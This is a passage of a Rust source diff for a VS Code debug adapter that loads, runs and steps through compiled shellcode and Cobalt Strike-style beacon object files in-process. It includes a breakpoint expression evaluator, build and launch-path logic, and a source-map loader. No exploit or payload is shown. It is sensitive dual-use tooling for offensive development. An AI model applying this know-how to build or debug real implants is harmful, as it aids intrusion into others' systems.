Some(r) => r, + None => return Err("no register state - debuggee not stopped".into()), + }; + let map = shared.map_clone(); + let mut p = Parser { src: expr.as_bytes(), pos: 0, regs: ®s, map: map.as_ref(), line }; + let v = p.parse_cmp()?; + p.skip_ws(); + if p.pos < p.src.len() { + return Err(format!("trailing input near `{}`", &expr[p.pos..])); + } + Ok(v) +} + +fn evaluate_truthy(expr: &str, shared: &SharedDap, line: u32) -> bool { + match evaluate(expr, shared, line) { + Ok(EvalValue::Int(n)) => n != 0, + Ok(EvalValue::Bytes(b)) => !b.is_empty() && b.iter().any(|&x| x != 0), + Err(_) => true, // be permissive - bad condition shouldn't silently skip + } +} + +fn format_eval_value(v: &EvalValue) -> String { + match v { + EvalValue::Int(n) => format!("0x{:x} ({})", *n as u64, n), + EvalValue::Bytes(b) => format!("{} bytes", b.len()), + } +} + +/// Render a DAP logpoint template. Curly braces are placeholders: +/// `i={i} rax={rax}` substitutes each `{expr}` with the evaluated +/// value. Doubled braces `{{` / `}}` are literal. +fn render_log_message(template: &str, shared: &SharedDap, line: u32) -> String { + let mut out = String::with_capacity(template.len()); + let bytes = template.as_bytes(); + let mut i = 0; + while i < bytes.len() { + let c = bytes[i] as char; + if c == '{' && bytes.get(i + 1).copied() == Some(b'{') { + out.push('{'); i += 2; continue; + } + if c == '}' && bytes.get(i + 1).copied() == Some(b'}') { + out.push('}'); i += 2; continue; + } + if c == '{' { + // Find matching `}`. + let start = i + 1; + let end = match bytes[start..].iter().position(|&b| b == b'}') { + Some(p) => start + p, + None => { out.push(c); i += 1; continue; } + }; + let expr = &template[start..end]; + let rendered = match evaluate(expr, shared, line) { + Ok(v) => format_eval_value(&v), + Err(e) => format!(""), + }; + out.push_str(&rendered); + i = end + 1; + continue; + } + out.push(c); + i += 1; + } + out +} + +struct Parser<'a> { + src: &'a [u8], + pos: usize, + regs: &'a crate::tracer::RegSnapshot, + map: Option<&'a SourceMap>, + line: u32, +} + +impl<'a> Parser<'a> { + fn skip_ws(&mut self) { + while self.pos < self.src.len() && (self.src[self.pos] as char).is_whitespace() { + self.pos += 1; + } + } + fn peek(&mut self) -> Option { + self.skip_ws(); + self.src.get(self.pos).copied() + } + fn eat(&mut self, s: &[u8]) -> bool { + self.skip_ws(); + if self.src[self.pos..].starts_with(s) { self.pos += s.len(); true } else { false } + } + + fn parse_cmp(&mut self) -> Result { + let l = self.parse_add()?; + let op = if self.eat(b"==") { Some("==") } + else if self.eat(b"!=") { Some("!=") } + else if self.eat(b"<=") { Some("<=") } + else if self.eat(b">=") { Some(">=") } + else if self.eat(b"<") { Some("<") } + else if self.eat(b">") { Some(">") } + else { None }; + if let Some(op) = op { + let r = self.parse_add()?; + let li = as_int(&l)?; let ri = as_int(&r)?; + let b = match op { + "==" => li == ri, "!=" => li != ri, + "<" => li < ri, ">" => li > ri, + "<=" => li <= ri, ">=" => li >= ri, + _ => unreachable!(), + }; + return Ok(EvalValue::Int(if b { 1 } else { 0 })); + } + Ok(l) + } + fn parse_add(&mut self) -> Result { + let mut l = self.parse_unary()?; + loop { + if self.eat(b"+") { + let r = self.parse_unary()?; + l = EvalValue::Int(as_int(&l)?.wrapping_add(as_int(&r)?)); + } else if self.eat(b"-") { + let r = self.parse_unary()?; + l = EvalValue::Int(as_int(&l)?.wrapping_sub(as_int(&r)?)); + } else { break; } + } + Ok(l) + } + fn parse_unary(&mut self) -> Result { + if self.eat(b"-") { + let v = self.parse_primary()?; + return Ok(EvalValue::Int(-as_int(&v)?)); + } + self.parse_primary() + } + fn parse_primary(&mut self) -> Result { + self.skip_ws(); + let b = match self.src.get(self.pos) { + Some(&b) => b, + None => return Err("unexpected end of expression".into()), + }; + if b == b'(' { + self.pos += 1; + let v = self.parse_cmp()?; + if !self.eat(b")") { return Err("expected `)`".into()); } + return Ok(v); + } + if b == b'[' { + self.pos += 1; + let v = self.parse_cmp()?; + if !self.eat(b"]") { return Err("expected `]`".into()); } + let addr = as_int(&v)? as usize; + let mut buf = [0u8; 8]; + let n = unsafe { try_read_bytes(addr, &mut buf) }; + if n != 8 { return Err(format!("read 8 bytes at 0x{addr:x}: only got {n}")); } + return Ok(EvalValue::Int(i64::from_le_bytes(buf))); + } + if b.is_ascii_digit() { + return self.parse_number(); + } + if b.is_ascii_alphabetic() || b == b'_' { + return self.parse_name(); + } + Err(format!("unexpected character `{}`", b as char)) + } + fn parse_number(&mut self) -> Result { + let start = self.pos; + // Hex? + if self.src[self.pos] == b'0' && self.src.get(self.pos + 1).map_or(false, |&c| c == b'x' || c == b'X') { + self.pos += 2; + let s = self.pos; + while self.pos < self.src.len() && (self.src[self.pos] as char).is_ascii_hexdigit() { + self.pos += 1; + } + let txt = std::str::from_utf8(&self.src[s..self.pos]).unwrap(); + return i64::from_str_radix(txt, 16) + .map(EvalValue::Int) + .map_err(|e| format!("bad hex literal: {e}")); + } + while self.pos < self.src.len() && (self.src[self.pos] as char).is_ascii_digit() { + self.pos += 1; + } + let txt = std::str::from_utf8(&self.src[start..self.pos]).unwrap(); + txt.parse::().map(EvalValue::Int).map_err(|e| format!("bad number: {e}")) + } + fn parse_name(&mut self) -> Result { + let start = self.pos; + while self.pos < self.src.len() { + let c = self.src[self.pos] as char; + if !(c.is_ascii_alphanumeric() || c == '_') { break; } + self.pos += 1; + } + let name = std::str::from_utf8(&self.src[start..self.pos]).unwrap(); + // Local first, then register. + if let Some(map) = self.map { + for v in map.vars_in_scope(self.line) { + if v.name == name { + let addr = resolve_var_address(&v.loc, self.regs); + if let Some(direct) = direct_register_value(&v.loc, self.regs) { + return Ok(EvalValue::Int(direct as i64)); + } + if let Some(addr) = addr { + let mut buf = [0u8; 8]; + let n = unsafe { try_read_bytes(addr, &mut buf) }; + if n != 8 { + return Err(format!("read local `{name}` at 0x{addr:x}: got {n} bytes")); + } + return Ok(EvalValue::Int(i64::from_le_bytes(buf))); + } + } + } + } + if let Some(v) = register_by_name(&name.to_ascii_lowercase(), self.regs) { + return Ok(EvalValue::Int(v as i64)); + } + Err(format!("unknown name `{name}`")) + } +} + +fn as_int(v: &EvalValue) -> Result { + match v { + EvalValue::Int(n) => Ok(*n), + _ => Err("expected integer".into()), + } +} + +// ---------------------------------------------------------------- auto-build +// +// `build: true` in launch.json runs `entc compile --debug` +// before loading the .dbg. Resolves three issues: +// +// * Edit-restart loop: no more stop / compile / F5 dance. +// * Stale .dbg: the source-map vars section can drift out of sync +// with the source, which manifests as "Locals shows nothing". +// Always-rebuild ensures the .dbg matches what's actually running. +// * Wrong-compile-flags: if a previous run used `--release` without +// --debug, the .dbg is stale or missing. We force --debug here. + +struct BuildErr { + exit_code: i32, + stderr: String, +} + +fn run_entc_compile(entc: &str, source: &str, build_type: Option<&str>) -> Result { + let mut cmd = std::process::Command::new(entc); + cmd.arg("compile").arg(source).arg("--debug"); + if let Some(t) = build_type { + cmd.arg(format!("--type={t}")); + } + let out = cmd + .output() + .map_err(|e| BuildErr { + exit_code: -1, + stderr: format!("failed to spawn `{entc}`: {e}\n"), + })?; + let stderr = String::from_utf8_lossy(&out.stderr).to_string(); + let stdout = String::from_utf8_lossy(&out.stdout).to_string(); + if !out.status.success() { + return Err(BuildErr { + exit_code: out.status.code().unwrap_or(-1), + stderr: if stderr.is_empty() { stdout } else { stderr + &stdout }, + }); + } + // entc prints "wrote foo.bin (N bytes)" + .dbg + .entc.js to + // stderr. Surface it so the user knows what got built. + Ok(stderr + &stdout) +} + +/// Build kind decided at launch time. Mirrors the compiler's +/// `BuildKind` but stays a thin string-ish enum here so the adapter +/// doesn't depend on the compiler crate's types. +#[derive(Debug, Clone, Copy)] +enum BuildMode { Standard, Bof, Coff } + +/// Resolved (source, artifact, mode) triple for one launch request. +struct ResolvedTarget { + /// `.etpy` source path when known. `None` only when the user + /// pointed `program` at a pre-built artifact and no sibling + /// `.etpy` exists - at that point a rebuild is impossible and + /// `should_build` is forced to false. + source: Option, + /// Final path on disk we'll load as the runnable artifact - + /// `.bin` for shellcode, `.obj`/`.coff` for BOF. + bin_path: String, + /// Inferred build kind. Drives the `--type=` flag during rebuild + /// AND the `ArtifactKind` selection during execution. + build_kind: BuildMode, + /// True when the adapter should compile before loading. Always + /// true in source mode (`.etpy` as `program`) so the artifact + /// matches the source the user can see in the editor; otherwise + /// follows the `build` field from launch.json. + should_build: bool, +} + +/// Single resolution pass. Handles all three `program` shapes +/// (.etpy source / .obj artifact / .bin artifact) and works out the +/// build mode by sniffing the source when possible. +fn resolve_launch_target( + program: &str, + explicit_source: Option<&str>, + force_build: bool, +) -> Result { + // Shape 1: `program` is the source itself. Sniff it for `fn go` + // (BOF) vs `fn main` (shellcode); rebuild EVERY launch so the + // resulting `.obj`/`.bin` is fresh. This is the F5 sweet spot: + // VS Code's `${file}` always resolves to the active editor's + // path, so as long as the user has the .etpy focused, this path + // is the one chosen. + if program.ends_with(".etpy") { + if !Path::new(program).exists() { + return Err(format!("source `{program}` doesn't exist")); + } + let mode = detect_build_mode_from_source(program) + .map_err(|e| format!("read `{program}`: {e}"))?; + let bin_path = artifact_path_for(program, mode); + return Ok(ResolvedTarget { + source: Some(program.to_string()), + bin_path, + build_kind: mode, + should_build: true, // source mode always rebuilds + }); + } + + // Shape 2/3: `program` is a pre-built artifact. Honour the path + // the user gave, but try to surface the matching `.etpy` source + // (via `explicit_source` first, then the obvious sibling) so we + // can support `build: true` from launch.json AND so the source + // map's "this is the file your stack frame is placed in" actually + // resolves to the right .etpy. + // + // If the requested artifact is missing but a sibling .etpy is + // there, switch the resolution path to source mode - the user + // is on F5 with no pre-built artifact and clearly wants us to + // build it. Avoids the historic "F5 reports 'file not found' on + // a fresh checkout" trap. + let mode_from_ext = match () { + _ if program.ends_with(".x64.o") => BuildMode::Bof, + _ if program.ends_with(".x86.o") => BuildMode::Bof, + // `.obj` retained for `--type=coff` (generic Windows COFF) + // and for backward compat with BOFs built before the .x64.o + // convention change. Treated as BOF here since that was the + // historical default. + _ if program.ends_with(".obj") => BuildMode::Bof, + _ if program.ends_with(".coff") => BuildMode::Coff, + _ => BuildMode::Standard, + }; + let source = explicit_source.map(String::from) + .or_else(|| etpy_for(program).filter(|p| Path::new(p).exists())); + + if !Path::new(program).exists() { + // Try to upgrade to source mode if we found a sibling .etpy. + if let Some(ref src) = source { + let mode = detect_build_mode_from_source(src) + .map_err(|e| format!("read `{src}`: {e}"))?; + let bin_path = artifact_path_for(src, mode); + return Ok(ResolvedTarget { + source: Some(src.clone()), + bin_path, + build_kind: mode, + should_build: true, + }); + } + // Last-ditch: try the standard .bin to .x64.o / .obj / .coff + // auto-swap that earlier versions of the adapter did. + // Lets `program: "...bin"` keep working when the sibling + // .x64.o (current convention) or .obj (legacy) exists. + if let Some(stem) = program.strip_suffix(".bin") { + for (ext, alt_mode) in [(".x64.o", BuildMode::Bof), (".obj", BuildMode::Bof), (".coff", BuildMode::Coff)] { + let cand = format!("{stem}{ext}"); + if Path::new(&cand).exists() { + return Ok(ResolvedTarget { + source, + bin_path: cand, + build_kind: alt_mode, + should_build: false, + }); + } + } + } + return Err(format!( + "program `{program}` doesn't exist and no sibling `.etpy` to build from" + )); + } + + Ok(ResolvedTarget { + source, + bin_path: program.to_string(), + build_kind: mode_from_ext, + should_build: force_build, + }) +} + +/// Read the first ~16 KB of a `.etpy` source and decide which build +/// kind it targets. Looks for the unambiguous entry-point spellings: +/// `fn go(` => BOF, `fn main(` => standard. Falls back to standard so +/// brand-new empty files don't error out. +/// +/// Cheap one-shot scan - no parser, no allocations beyond reading +/// the file. `//` line comments aren't stripped but the heuristic is +/// tolerant: a comment line containing literal `fn go(` would +/// misclassify, but that's a corner case the user can always fix by +/// adding `--type=` explicitly. +fn detect_build_mode_from_source(path: &str) -> std::io::Result { + use std::io::Read; + let mut f = fs::File::open(path)?; + let mut buf = Vec::with_capacity(16 * 1024); + // Cap at 64 KB - every real .etpy is much smaller, and capping + // protects against a huge generated source surprising us. + let _ = f.take(64 * 1024).read_to_end(&mut buf); + let src = String::from_utf8_lossy(&buf); + if src.contains("fn go(") || src.contains("fn go (") { + return Ok(BuildMode::Bof); + } + Ok(BuildMode::Standard) +} + +/// Compute the output artifact path `entc compile` will write for +/// a given source + build kind. Mirrors `main.rs::default_output` +/// EXACTLY so the adapter's expectation lines up with what the +/// compiler actually produces - artifacts now land in a `bin/` +/// subdirectory next to the source. +fn artifact_path_for(source: &str, mode: BuildMode) -> String { + let p = Path::new(source); + let stem = p.file_stem().and_then(|s| s.to_str()).unwrap_or("a"); + let bin_dir = match p.parent() { + Some(d) if !d.as_os_str().is_empty() => d.join("bin"), + _ => PathBuf::from("bin"), + }; + let ext = match mode { + BuildMode::Standard => "bin", + // Cobalt Strike's BOF convention is `name.x64.o`. + // Generic COFF stays `.obj`. + BuildMode::Bof => "x64.o", + BuildMode::Coff => "obj", + }; + bin_dir.join(format!("{stem}.{ext}")).to_string_lossy().to_string() +} + +/// Derive the .etpy source path next to a built artifact. Returns +/// `None` when the path doesn't end in a recognised artifact +/// extension. +/// +/// The compiler now defaults outputs to `/bin/`. So +/// an artifact like `example/bin/foo.x64.o` corresponds to source +/// `example/foo.etpy`. We strip the artifact's filename suffix +/// AND, when the parent directory is named `bin`, hop one level +/// up. Artifacts the operator placed somewhere else still resolve +/// against their own directory - the fallback covers +/// `-o some/path/foo.bin` builds. +fn etpy_for(bin: &str) -> Option { + let p = Path::new(bin); + let stem = { + let name = p.file_name()?.to_string_lossy().to_string(); + let mut s = name.as_str(); + let mut found = false; + for ext in [".x64.o", ".x86.o", ".bin", ".obj", ".coff"] { + if let Some(rest) = s.strip_suffix(ext) { + s = rest; + found = true; + break; + } + } + if !found { return None; } + s.to_string() + }; + let candidate_with_hop = p.parent().and_then(|dir| { + // If artifact is placed in `.../bin/foo.x64.o`, the source is + // `.../foo.etpy`. The hop only fires when the immediate + // parent dir is literally named `bin` - keeps the resolver + // predictable. + if dir.file_name().map(|n| n == "bin").unwrap_or(false) { + dir.parent().map(|gp| gp.join(format!("{stem}.etpy"))) + } else { + None + } + }); + if let Some(hop) = candidate_with_hop { + if hop.exists() { + return Some(hop.to_string_lossy().to_string()); + } + } + // Fallback: same directory as the artifact (handles -o paths + // that bypassed the bin/ convention). + let same_dir = p.with_file_name(format!("{stem}.etpy")); + Some(same_dir.to_string_lossy().to_string()) +} + +/// Walk up the directory tree from `source_path` looking for a +/// `target/release/entc.exe` (preferred) or `target/debug/entc.exe`. +/// Stops at the filesystem root. The walk lets users put the +/// debugger config in any workspace whose Rust target dir is at or +/// above the source file - the common case for monorepos and the +/// EntropyKit workspace layout. +fn find_entc(source_path: &str) -> Option { + let mut cursor = Path::new(source_path).parent()?.to_path_buf(); + let exe = if cfg!(windows) { "entc.exe" } else { "entc" }; + loop { + for profile in ["release", "debug"] { + let cand = cursor.join("target").join(profile).join(exe); + if cand.exists() { + return Some(cand.to_string_lossy().to_string()); + } + } + match cursor.parent() { + Some(p) if p != cursor => cursor = p.to_path_buf(), + _ => return None, + } + } +} + +// ---------------------------------------------------------------- pause + +/// Arm a pause on the tracer thread. We suspend it, set TF on its +/// context, mark `pause_pending` on the session so the VEH reports +/// reason=Pause when it traps, then resume. The CPU executes exactly +/// one more instruction before the SINGLE_STEP trap fires. +/// +/// Returns false if any Win32 call fails (in which case the tracer +/// is left running, and we surface a console hint rather than +/// silently swallowing the user's click). +#[cfg(windows)] +fn arm_pause(session: &Arc, join: &thread::JoinHandle<()>) -> bool { + use std::os::windows::io::AsRawHandle; + use std::sync::atomic::Ordering; + use windows_sys::Win32::System::Diagnostics::Debug::{ + GetThreadContext, SetThreadContext, CONTEXT, CONTEXT_CONTROL_AMD64, + }; + use windows_sys::Win32::System::Threading::{ResumeThread, SuspendThread}; + + let h = join.as_raw_handle() as windows_sys::Win32::Foundation::HANDLE; + if h.is_null() { return false; } + + // SuspendThread returns the previous suspend count; -1 (DWORD + // max) means failure. + let prev = unsafe { SuspendThread(h) }; + if prev == u32::MAX { return false; } + + let mut ctx: CONTEXT = unsafe { std::mem::zeroed() }; + ctx.ContextFlags = CONTEXT_CONTROL_AMD64; + let got = unsafe { GetThreadContext(h, &mut ctx) }; + if got == 0 { + unsafe { ResumeThread(h); } + return false; + } + ctx.EFlags |= 0x100; + let set = unsafe { SetThreadContext(h, &ctx) }; + if set == 0 { + unsafe { ResumeThread(h); } + return false; + } + + session.pause_pending.store(true, Ordering::SeqCst); + unsafe { ResumeThread(h); } + true +} + +#[cfg(not(windows))] +fn arm_pause(_session: &Arc, _join: &thread::JoinHandle<()>) -> bool { + false +} + +// ---------------------------------------------------------------- safe memory probe + +/// Read up to `out.len()` bytes from `addr` in the current process, +/// guarded by VirtualQuery so we don't fault on an unmapped page. +/// Returns the number of bytes successfully read (0 on bad address). +/// +/// Used by readMemory, the Stack variables scope, and disasm-outside- +/// shellcode paths. Same-process reads are fine because the tracer +/// shares its address space with the DAP server (they're threads in +/// the same process). +unsafe fn try_read_bytes(addr: usize, out: &mut [u8]) -> usize { + use windows_sys::Win32::System::Memory::{ + VirtualQuery, MEMORY_BASIC_INFORMATION, + MEM_COMMIT, PAGE_NOACCESS, PAGE_GUARD, + }; + + if addr == 0 || out.is_empty() { return 0; } + + let mut copied = 0usize; + let mut cursor = addr; + while copied < out.len() { + let mut info = std::mem::zeroed::(); + let qsize = std::mem::size_of::(); + let got = VirtualQuery(cursor as *const _, &mut info, qsize); + if got == 0 { break; } + if info.State != MEM_COMMIT { break; } + if info.Protect & (PAGE_NOACCESS | PAGE_GUARD) != 0 { break; } + + let region_end = info.BaseAddress as usize + info.RegionSize; + let chunk_end = region_end.min(addr + out.len()); + let chunk_len = chunk_end - cursor; + if chunk_len == 0 { break; } + + std::ptr::copy_nonoverlapping( + cursor as *const u8, + out.as_mut_ptr().add(copied), + chunk_len, + ); + copied += chunk_len; + cursor = chunk_end; + } + copied +} + +// ---------------------------------------------------------------- base64 + +/// Tiny base64 encoder for readMemory responses. Inlined to avoid a +/// dep on `base64` - the DAP wire format uses standard alphabet with +/// `=` padding, which is two dozen lines. +fn base64_encode(bytes: &[u8]) -> String { + const ALPHA: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + let mut out = String::with_capacity((bytes.len() + 2) / 3 * 4); + let mut i = 0; + while i + 3 <= bytes.len() { + let n = ((bytes[i] as u32) << 16) | ((bytes[i + 1] as u32) << 8) | (bytes[i + 2] as u32); + out.push(ALPHA[((n >> 18) & 0x3f) as usize] as char); + out.push(ALPHA[((n >> 12) & 0x3f) as usize] as char); + out.push(ALPHA[((n >> 6) & 0x3f) as usize] as char); + out.push(ALPHA[((n ) & 0x3f) as usize] as char); + i += 3; + } + let rem = bytes.len() - i; + if rem == 1 { + let n = (bytes[i] as u32) << 16; + out.push(ALPHA[((n >> 18) & 0x3f) as usize] as char); + out.push(ALPHA[((n >> 12) & 0x3f) as usize] as char); + out.push('='); + out.push('='); + } else if rem == 2 { + let n = ((bytes[i] as u32) << 16) | ((bytes[i + 1] as u32) << 8); + out.push(ALPHA[((n >> 18) & 0x3f) as usize] as char); + out.push(ALPHA[((n >> 12) & 0x3f) as usize] as char); + out.push(ALPHA[((n >> 6) & 0x3f) as usize] as char); + out.push('='); + } + out +} diff --git a/tools/entc-debug/src/main.rs b/tools/entc-debug/src/main.rs new file mode 100644 index 0000000..1430b13 --- /dev/null +++ b/tools/entc-debug/src/main.rs @@ -0,0 +1,108 @@ +// SPDX-License-Identifier: Apache-2.0 +//! entc-debug - Debug Adapter Protocol server + in-process tracer for +//! EntropyKit shellcode. +//! +//! Wires VS Code's "Run to Start Debugging" (F5) to a custom launcher: +//! we VirtualAlloc a `.bin`, plant software breakpoints (`int 3`) at +//! every source-line offset in the matching `.dbg` map, then call into +//! the shellcode. A Vectored Exception Handler catches each break, +//! parks the tracer thread, and signals the DAP server thread which +//! sends VS Code a `stopped` event with the source location - that's +//! the bit that makes the execution arrow move through the `.etpy`. +//! +//! Architecture: +//! +//! stdin -> DAP server thread -> mpsc command channel -> tracer thread +//! stdout <- DAP server thread <- mpsc event channel <- VEH handler +//! +//! Both threads are placed in the same process. The shellcode runs in the +//! tracer thread; its in-process VEH catches `int 3`, pushes a Stopped +//! event to the server, then blocks on a Win32 event handle until the +//! server replies with a Continue / StepOver command. +//! +//! Run modes (selected by argv[1]): +//! - no args / `dap` : DAP server on stdio (what VS Code uses) +//! - `trace ` : run a bin once and print each stop to +//! stdout as NDJSON; useful for headless +//! smoke tests outside VS Code. + +use std::fs; +use std::io::{self, Write}; +use std::sync::mpsc; +use std::thread; + +mod dap; +mod tracer; +mod sourcemap; + +fn main() { + let args: Vec = std::env::args().collect(); + let mode = args.get(1).map(String::as_str).unwrap_or("dap"); + match mode { + "dap" => run_dap(), + "trace" => { + let bin = args.get(2).cloned().unwrap_or_else(|| { + eprintln!("usage: entc-debug trace "); + std::process::exit(2); + }); + run_headless_trace(&bin); + } + other => { + eprintln!("unknown mode `{other}` - try `dap` (default) or `trace `"); + std::process::exit(2); + } + } +} + +fn run_dap() { + dap::serve(); +} + +/// Headless smoke test: load + trace once, print each source-line stop +/// as NDJSON to stdout, then exit. Useful for `cargo run -- trace foo.bin` +/// without VS Code in the loop. +fn run_headless_trace(bin_path: &str) { + let dbg_path = bin_path + .strip_suffix(".bin") + .map(|s| format!("{s}.dbg")) + .unwrap_or_else(|| format!("{bin_path}.dbg")); + let map = sourcemap::SourceMap::load(&dbg_path).unwrap_or_else(|e| { + eprintln!("entc-debug: load {dbg_path}: {e}"); + std::process::exit(1); + }); + let bin = fs::read(bin_path).unwrap_or_else(|e| { + eprintln!("entc-debug: read {bin_path}: {e}"); + std::process::exit(1); + }); + + let (ev_tx, ev_rx) = mpsc::channel(); + let (cmd_tx, cmd_rx) = mpsc::channel(); + + // Headless: plant a stop at every source-mapped offset so the + // NDJSON walks past every statement. The VS Code path is more + // selective (it only plants what the user / stopOnEntry chose). + let initial_bps: Vec = map.entries.iter().map(|e| e.offset).collect(); + + // Spawn the tracer. It runs the shellcode + VEH; we pump events + // back here and just auto-acknowledge every stop with Continue. + let session = tracer::TracerSession::new(); + let map_clone = map.clone(); + let bin_clone = bin.clone(); + let tracer_handle = thread::spawn(move || { + tracer::run(&bin_clone, map_clone, initial_bps, session, ev_tx, cmd_rx) + }); + + let stdout = io::stdout(); + let mut out = stdout.lock(); + while let Ok(ev) = ev_rx.recv() { + let line = serde_json::to_string(&ev).unwrap(); + writeln!(out, "{line}").ok(); + match ev { + tracer::Event::Stopped { .. } => { + cmd_tx.send(tracer::Cmd::Continue).ok(); + } + tracer::Event::Exited { .. } | tracer::Event::Output { .. } => {} + } + } + let _ = tracer_handle.join(); +} diff --git a/tools/entc-debug/src/sourcemap.rs b/tools/entc-debug/src/sourcemap.rs new file mode 100644 index 0000000..17c25e5 --- /dev/null +++ b/tools/entc-debug/src/sourcemap.rs @@ -0,0 +1,227 @@ +// SPDX-License-Identifier: Apache-2.0 +//! Loader for the `.dbg` text map the compiler emits with +//! `--debug`. Format (one entry per line): +//! +//! # entropy debug map for example/foo.etpy +//! # offset line:col kind source +//! 0000000d 30:5 call example/foo.etpy +//! ... +//! +//! Lines starting with `#` are comments. The leading hex offset is the +//! shellcode byte offset; the rest of the fields are derived from the +//! source. + +use std::fs; +use std::path::{Path, PathBuf}; + +#[derive(Debug, Clone)] +pub struct Entry { + pub offset: usize, + pub line: u32, + pub col: u32, + pub kind: String, +} + +/// A named local emitted by the compiler. `loc` is a tiny textual +/// expression the adapter parses to figure out where the value lives: +/// +/// - `rbp-0x8` / `rbp+0x10` - frame-relative (currently the only form) +/// - `rax`, `rcx`, ... - direct register (future) +/// - `rip+0x40` - rip-relative (future; for globals) +/// +/// `line_start` / `line_end` bracket the source lines where the +/// variable is live. `line_end == u32::MAX` means "until end of +/// function". +#[derive(Debug, Clone)] +pub struct VarInfo { + pub name: String, + pub ty: String, + pub loc: String, + pub line_start: u32, + pub line_end: u32, +} + +/// Parsed source map ready for byte-offset to source lookups. Cloneable +/// because the DAP server and tracer thread each want their own view. +#[derive(Debug, Clone)] +pub struct SourceMap { + /// Absolute path to the .etpy. Stored absolute so the DAP server can + /// hand it back to VS Code in stackTrace responses without relying + /// on the debugger's cwd matching the workspace root (which it + /// often doesn't - VS Code passes its workspace as cwd, but + /// extensions can override it). + pub source_path: PathBuf, + pub entries: Vec, // sorted by offset ascending + pub vars: Vec, // declaration order +} + +impl SourceMap { + /// Read and parse a `.dbg` file. Errors propagate as plain strings + /// so the DAP server can include them in an Output event. + pub fn load(path: &str) -> Result { + let text = fs::read_to_string(path) + .map_err(|e| format!("read {path}: {e}"))?; + let dbg_dir: PathBuf = Path::new(path) + .parent() + .map(Path::to_path_buf) + .unwrap_or_else(|| PathBuf::from(".")); + + let mut raw_source: Option = None; + let mut entries: Vec = Vec::new(); + let mut vars: Vec = Vec::new(); + // The .dbg has two sections - entries (offset to line:col) and + // an optional variables block introduced by `# variables`. We + // track which section we're in by header comment, since the + // grammars are different (positional vs `name : type : loc`). + let mut in_vars = false; + + for raw in text.lines() { + let line = raw.trim(); + if line.is_empty() { continue; } + if let Some(rest) = line.strip_prefix("# entropy debug map for ") { + raw_source = Some(PathBuf::from(rest.trim())); + in_vars = false; + continue; + } + if line.starts_with("# variables") { + in_vars = true; + continue; + } + if line.starts_with('#') { continue; } + + if in_vars { + // Format: `name : type : loc : line_start..line_end` + let parts: Vec<&str> = line.splitn(4, " : ").collect(); + if parts.len() != 4 { continue; } + let (name, ty, loc) = (parts[0].trim(), parts[1].trim(), parts[2].trim()); + let range = parts[3].trim(); + let (s, e) = match range.split_once("..") { + Some(p) => p, None => continue, + }; + let line_start: u32 = match s.trim().parse() { Ok(n) => n, Err(_) => continue }; + let line_end: u32 = if e.trim() == "max" { + u32::MAX + } else { + match e.trim().parse() { Ok(n) => n, Err(_) => continue } + }; + vars.push(VarInfo { + name: name.to_string(), + ty: ty.to_string(), + loc: loc.to_string(), + line_start, line_end, + }); + continue; + } + + // Entry row: ` : ` + let mut it = line.split_whitespace(); + let off_hex = match it.next() { Some(s) => s, None => continue }; + let line_col = match it.next() { Some(s) => s, None => continue }; + let kind = match it.next() { Some(s) => s, None => continue }; + let src = it.next().unwrap_or(""); + let Ok(offset) = usize::from_str_radix(off_hex, 16) else { continue }; + let (lstr, cstr) = match line_col.split_once(':') { + Some(p) => p, None => continue, + }; + let Ok(line_n) = lstr.parse::() else { continue }; + let Ok(col_n) = cstr.parse::() else { continue }; + entries.push(Entry { + offset, line: line_n, col: col_n, + kind: kind.to_string(), + }); + if raw_source.is_none() && !src.is_empty() { + raw_source = Some(PathBuf::from(src)); + } + } + entries.sort_by_key(|e| e.offset); + + let source_path = resolve_source_path(raw_source.as_deref(), &dbg_dir); + Ok(SourceMap { source_path, entries, vars }) + } + + /// Return all variables in scope at `line`. Used by the DAP + /// server's `variables(LOCALS)` handler. + pub fn vars_in_scope(&self, line: u32) -> Vec<&VarInfo> { + self.vars.iter() + .filter(|v| line >= v.line_start && line <= v.line_end) + .collect() + } + + /// Find the source entry whose offset matches `offset` exactly - + /// software breakpoints land at the exact planted byte. + pub fn at(&self, offset: usize) -> Option<&Entry> { + match self.entries.binary_search_by_key(&offset, |e| e.offset) { + Ok(i) => Some(&self.entries[i]), + Err(_) => None, + } + } + + /// Find the nearest preceding entry - used when the breakpoint + /// isn't an exact match (e.g. a runaway PC between lowered + /// statements). + pub fn nearest(&self, offset: usize) -> Option<&Entry> { + if self.entries.is_empty() { return None; } + match self.entries.binary_search_by_key(&offset, |e| e.offset) { + Ok(i) => Some(&self.entries[i]), + Err(0) => None, + Err(i) => Some(&self.entries[i - 1]), + } + } +} + +/// Turn whatever the .dbg's header reported into an absolute path. +/// Strategy, in order: +/// +/// 1. Absolute already + exists: trust it. +/// 2. `dbg_dir / `: most common case, the .etpy lives +/// next to its .dbg. +/// 3. `dbg_dir / ` joined as written. +/// 4. `dbg_dir.parent() / `: covers `example/foo.etpy` written +/// in a .dbg that is placed inside `example/` - the path was +/// workspace-relative even though we have a per-folder dbg. +/// 5. Last resort: return `dbg_dir / ` even if not present, +/// so VS Code at least sees a sensible-looking path it can offer +/// to create. +fn resolve_source_path(raw: Option<&Path>, dbg_dir: &Path) -> PathBuf { + let raw = match raw { + Some(p) => p, + None => return dbg_dir.join(""), + }; + if raw.is_absolute() && raw.exists() { + return canonicalize_pretty(raw); + } + if let Some(name) = raw.file_name() { + let same_dir = dbg_dir.join(name); + if same_dir.exists() { + return canonicalize_pretty(&same_dir); + } + } + let as_written = dbg_dir.join(raw); + if as_written.exists() { + return canonicalize_pretty(&as_written); + } + if let Some(parent) = dbg_dir.parent() { + let workspace_relative = parent.join(raw); + if workspace_relative.exists() { + return canonicalize_pretty(&workspace_relative); + } + } + // Couldn't actually find it on disk. Hand back the most plausible + // guess so VS Code shows SOMETHING in the stackTrace. + raw.file_name() + .map(|n| dbg_dir.join(n)) + .unwrap_or_else(|| dbg_dir.join(raw)) +} + +/// `std::fs::canonicalize` on Windows returns a `\\?\` prefixed path +/// that VS Code doesn't love. Strip it. +fn canonicalize_pretty(p: &Path) -> PathBuf { + match std::fs::canonicalize(p) { + Ok(c) => { + let s = c.to_string_lossy(); + let trimmed = s.trim_start_matches(r"\\?\"); + PathBuf::from(trimmed) + } + Err(_) => p.to_path_buf(), + } +} diff --git a/tools/entc-debug/src/tracer.rs b/tools/entc-debug/src/tracer.rs new file mode 100644 index 0000000..f7aa34c --- /dev/null +++ b/tools/entc-debug/src/tracer.rs @@ -0,0 +1,841 @@ +// SPDX-License-Identifier: Apache-2.0 +//! tracer.rs - in-process software-breakpoint tracer. +//! +//! Loads a shellcode 